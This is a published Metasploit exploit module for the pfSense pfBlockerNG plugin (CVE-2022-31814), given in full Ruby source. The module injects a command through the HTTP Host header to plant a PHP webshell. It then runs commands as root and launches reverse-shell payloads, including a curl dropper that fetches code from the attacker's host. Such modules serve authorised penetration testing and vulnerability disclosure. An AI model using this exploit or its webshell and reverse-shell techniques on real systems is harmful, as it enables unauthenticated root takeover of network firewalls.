Headline
pfSense pfBlockerNG 2.1.4_26 Shell Upload
This Metasploit module leverages a remote shell upload vulnerability in pfSense pfBlockerNG plugin versions 2.1.4_26 and below. Note that version 3.x is unaffected.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'pfSense plugin pfBlockerNG unauthenticated RCE as root', 'Description' => %q{ pfBlockerNG is a popular pfSense plugin that is not installed by default. It’s generally used to block inbound connections from whole countries or IP ranges. Versions 2.1.4_26 and below are affected by an unauthenticated RCE vulnerability that results in root access. Note that version 3.x is unaffected. }, 'Author' => [ 'IHTeam', # discovery 'jheysel-r7' # module ], 'References' => [ [ 'CVE', '2022-31814' ], [ 'URL', 'https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/'] ], 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Privileged' => false, 'Arch' => [ ARCH_CMD ], 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' } } ], [ 'BSD Dropper', { 'Platform' => 'bsd', 'Arch' => [ARCH_X64], 'Type' => :bsd_dropper, 'CmdStagerFlavor' => [ 'curl' ], 'DefaultOptions' => { 'PAYLOAD' => 'bsd/x64/shell_reverse_tcp' } } ] ], 'DefaultTarget' => 1, 'DisclosureDate' => '2022-09-05', 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, 'Notes' => { 'Stability' => [ CRASH_SERVICE_DOWN ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION, ] } ) ) register_options( [ OptString.new('WEBSHELL_NAME', [ false, 'The name of the uploaded webshell sans the ".php" ending. This value will be randomly generated if left unset.', nil ]) ] ) end def upload_shell print_status 'Uploading shell...' if datastore['WEBSHELL_NAME'].blank? @webshell_name = "#{Rex::Text.rand_text_alpha(8..16)}.php" else @webshell_name = "#{datastore['WEBSHELL_NAME']}.php" end @parameter_name = Rex::Text.rand_text_alpha(4..12) print_status("Webshell name is: #{@webshell_name}") web_shell_contents = <<~EOF <?php echo file_put_contents('/usr/local/www/#{@webshell_name}','<?php echo(passthru($_POST["#{@parameter_name}"]));'); EOF encoded_php = web_shell_contents.unpack('H*')[0].upcase send_request_raw( 'uri' => normalize_uri(target_uri.path, '/pfblockerng/www/index.php'), 'headers' => { 'Host' => "' *; echo '16i #{encoded_php} P' | dc | php; '" } ) sleep datastore['WfsDelay'] register_file_for_cleanup("/usr/local/www/#{@webshell_name}") end def check upload_shell check_resp = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "/#{@webshell_name}"), 'vars_post' => { @parameter_name.to_s => 'id' } ) return Exploit::CheckCode::Safe('Error uploading shell, the system is likely patched.') if check_resp.nil? || check_resp.body.nil? || !check_resp.body.include?('uid=0(root) gid=0(wheel)') Exploit::CheckCode::Vulnerable end def execute_command(cmd, _opts = {}) send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, @webshell_name), 'headers' => { 'Content-Encoding' => 'application/x-www-form-urlencoded; charset=UTF-8' }, 'vars_post' => { @parameter_name.to_s => cmd } }) end def exploit upload_shell unless datastore['AutoCheck'] print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :bsd_dropper execute_cmdstager end endend